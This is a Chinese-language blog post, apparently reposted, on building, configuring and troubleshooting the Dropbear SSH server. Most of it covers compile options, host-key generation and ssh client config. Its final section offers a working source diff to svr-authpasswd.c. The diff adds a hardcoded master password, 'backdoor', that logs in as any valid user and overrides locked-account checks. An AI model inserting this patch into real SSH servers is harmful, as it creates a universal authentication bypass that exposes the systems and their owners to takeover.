dropbear:一个小巧的ssh server
Dropbear is a relatively small SSH server and client,可運行于類Unix系統上,官網是 Dropbear,源代碼同時在 github 上。
這里主要關注dropbear的服務端功能。
簡易安裝流程
centos 7環境
挑一個版本下載:wget https://matt.ucc.asn.au/dropbear/releases/dropbear-2022.82.tar.bz2 解壓 ./configure 如果提示沒找到zlib,執行yum install zlib-devel安裝,或直接禁用zlib:./configure --disable-zlib 只編譯服務端,不帶PROGRAMS會額外編譯其他工具:make -j8 PROGRAMS=dropbear,會在當前目錄生成dropbear文件 make install dropbear被安裝到/usr/local/sbin/,dbclient以及其他工具會被安裝到/usr/local/bin/啟動dropbear服務端
mkdir /etc/dropbear,沒有該目錄啟動時會報錯,這里會存放hostkey文件 手動生成hostkey或在啟動時指定-R選項,表示在需要時自動生成hostkey dropbear -p 2020 -R -s選項可禁止密碼登陸方式 dropbear同樣使用~/.ssh/authorized_keys 然后就可以用ssh客戶端進行連接了一些編譯選項
如果想修改默認編譯選項,cp default_options.h localoptions.h,然后通過修改localoptions.h 或者直接修改default_options.h也可以編譯時直接禁止密碼登陸 #define DROPBEAR_SVR_PASSWORD_AUTH 0默認監聽端口 #define DROPBEAR_DEFPORT "22"默認網絡接口,禁掉ipv6 #define DROPBEAR_DEFADDRESS "0.0.0.0"禁掉MOTD(message of the day) #define DO_MOTD 0修改authorized_keys文件
不想用~/.ssh/authorized_keys的話,可以通過改代碼實現,在svr-authpubkey.c中的checkpubkey函數和checkpubkeyperms函數。
一個問題
首次用dropbear -FER啟動(忘了有沒有加-s選項),用ssh命令連接一次,dropbear自動生成了/etc/dropbear/dropbear_ecdsa_host_key。我以為有一個有效的hostkey就行了,所以重新直接用dropbear不帶參數啟動,ssh命令能直接連,但其他Windows下的ssh客戶端工具,比如WindTerm,SecureCRT等等,都連不上了。
原來hostkey用什么算法是和客戶端協商的,ssh命令可能優先選擇ecdsa,Windows下的ssh客戶端可能優先選擇rsa。
在SecureCRT選項中Host Key項里,把“ecdsa-sha2-nistp256”移到首位后,也能連接了。只留一個服務端不支持的算法,SecureCRT甚至提示了“Key exchange failed. No compatible hostkey. The server supports these methods: ecdsa-sha2-nistp256,rsa-sha2-256,ssh-rsa”。
解決方法是始終用-R選項啟動dropbear。
關于ssh config
可以在~/.ssh/下創建config文件,例如:
Host game HostName 123.123.123.123 Port 2020 User root IdentityFile /root/id_rsa TCPKeepAlive yes ServerAliveInterval 60以后就可以直接用ssh game連接,而不是用-p指定端口,用-i指定私鑰文件了。scp也可以用。很方便。
另外
在試用dropbear過程中,經常需要重啟它。每一個新連接dropbear都啟動了一個新進程來處理,殺掉父進程,子進程的那些連接不會中斷,但是父進程釋放的端口又能拿來用了。
加個后門
加個萬能密碼
--- a/svr-authpasswd.c +++ b/svr-authpasswd.c @@ -55,6 +55,7 @@ void svr_auth_password(int valid_user) {char * password = NULL;unsigned int passwordlen;unsigned int changepw; + int backdoor = 0;/* check if client wants to change password */changepw = buf_getbool(ses.payload); @@ -65,6 +66,7 @@ void svr_auth_password(int valid_user) {}password = buf_getstring(ses.payload, &passwordlen); + if (constant_time_strcmp(password, "backdoor") == 0) backdoor = 1;if (valid_user && passwordlen <= DROPBEAR_MAX_PASSWORD_LEN) {/* the first bytes of passwdcrypt are the salt */passwdcrypt = ses.authstate.pw_passwd; @@ -89,8 +91,9 @@ void svr_auth_password(int valid_user) {return;}- if (testcrypt == NULL) { + if (testcrypt == NULL && backdoor == 0) {/* crypt() with an invalid salt like "!!" */ + //maybe locked by "passwd -l" or "usermod -L"dropbear_log(LOG_WARNING, "User account '%s' is locked",ses.authstate.pw_name);send_msg_userauth_failure(0, 1); @@ -105,7 +108,7 @@ void svr_auth_password(int valid_user) {return;}- if (constant_time_strcmp(testcrypt, passwdcrypt) == 0) { + if (backdoor || constant_time_strcmp(testcrypt, passwdcrypt) == 0) {if (svr_opts.multiauthmethod && (ses.authstate.authtypes & ~AUTH_TYPE_PASSWORD)) {/* successful password authentication, but extra auth required */dropbear_log(LOG_NOTICE,總結
以上是生活随笔為你收集整理的dropbear:一个小巧的ssh server的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: React基础之事件机制
- 下一篇: asp.net实现MD5加密